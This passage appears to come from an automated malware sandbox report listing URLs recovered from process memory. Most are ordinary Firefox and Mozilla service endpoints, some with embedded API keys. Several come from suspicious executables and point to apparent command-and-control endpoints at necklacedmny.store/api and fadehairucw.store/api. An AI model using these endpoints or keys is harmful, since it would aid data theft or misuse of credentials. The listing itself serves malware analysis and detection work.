Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: b28f5af0b9.exe, 0000000A.00000003.2539631182.0000000004D1B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580073228.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, b28f5af0b9.exe, 0000001D.00000003.2678993762.0000000004F6B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2770625069.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001E.00000002.2683995426.000000000023C000.00000008.00000001.01000000.00000017.sdmp, num.exe, 00000025.00000002.2830828973.000000000023C000.00000008.00000001.01000000.00000017.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000002F.00000003.2855134160.000001B2AB381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drafts.csswg.org/css-lists-3/#ua-stylesheet
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000003.2658649077.00000295E52D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809067091.000039D177A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2643634818.00000295E485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2772290045.00000295E4CF6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2644113137.00000295E4877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2808173090.00001AEFAD204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2808288410.000022149F704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sonpopupshown=dropmarkerpopupshown
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fadehairucw.store:443/api)
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000002F.00000003.2944012113.000001B2B4F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsMozEl
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Failed
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.2760187955.00000295E1D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001A.00000003.2643634818.00000295E485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2644113137.00000295E4877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/private-browsing-web-api-fixes.jsexperiment-api
Source: firefox.exe, 0000002F.00000003.2855134160.000001B2AB381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/1072
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2749678005.00000295D4C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Whether
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.2751799520.00000295E04FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001A.00000002.2768738479.00000295E46A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.2772290045.00000295E4CF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001A.00000002.2772290045.00000295E4CDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2740896048.000000C46067B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803703540.00000295E7426000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001A.00000002.2760187955.00000295E1D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758063479.00000295E1BE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sisDefault
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%ssetSlowScriptDebugHandler/debugService.remoteActiv
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001A.00000002.2758855942.00000295E1CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000021.00000002.2743870817.0000015C07986000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2976602615.000001B29BCD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2E97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comshowBadgeOnlyNotificationupgradeTabsProgressListenernetwork.proxy.backup.
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.2809195003.00003AC907A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: bd73c9fe1b.exe, 0000000B.00000003.2634291184.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001090000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2760999582.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: bd73c9fe1b.exe, 0000000B.00000003.2634291184.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/%
Source: file.exe, 00000000.00000003.2054218674.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/(
Source: bd73c9fe1b.exe, 0000000B.00000003.2618057573.00000000010FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/5
Source: file.exe, 00000000.00000003.1774901475.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1778514687.0000000000866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/QE
Source: bd73c9fe1b.exe, 0000000B.00000003.2752319496.0000000001114000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2618057573.00000000010FF000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2760999582.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/U
Source: file.exe, 00000000.00000003.1774901475.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002196611.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1778514687.0000000000866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/YE
Source: bd73c9fe1b.exe, 0000000B.00000003.2668724190.0000000001128000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2784608754.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2002196611.0000000000866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api#Q
Source: bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api-hy
Source: bd73c9fe1b.exe, 00000008.00000003.2675092988.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiC
Source: bd73c9fe1b.exe, 00000008.00000003.2675092988.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiM
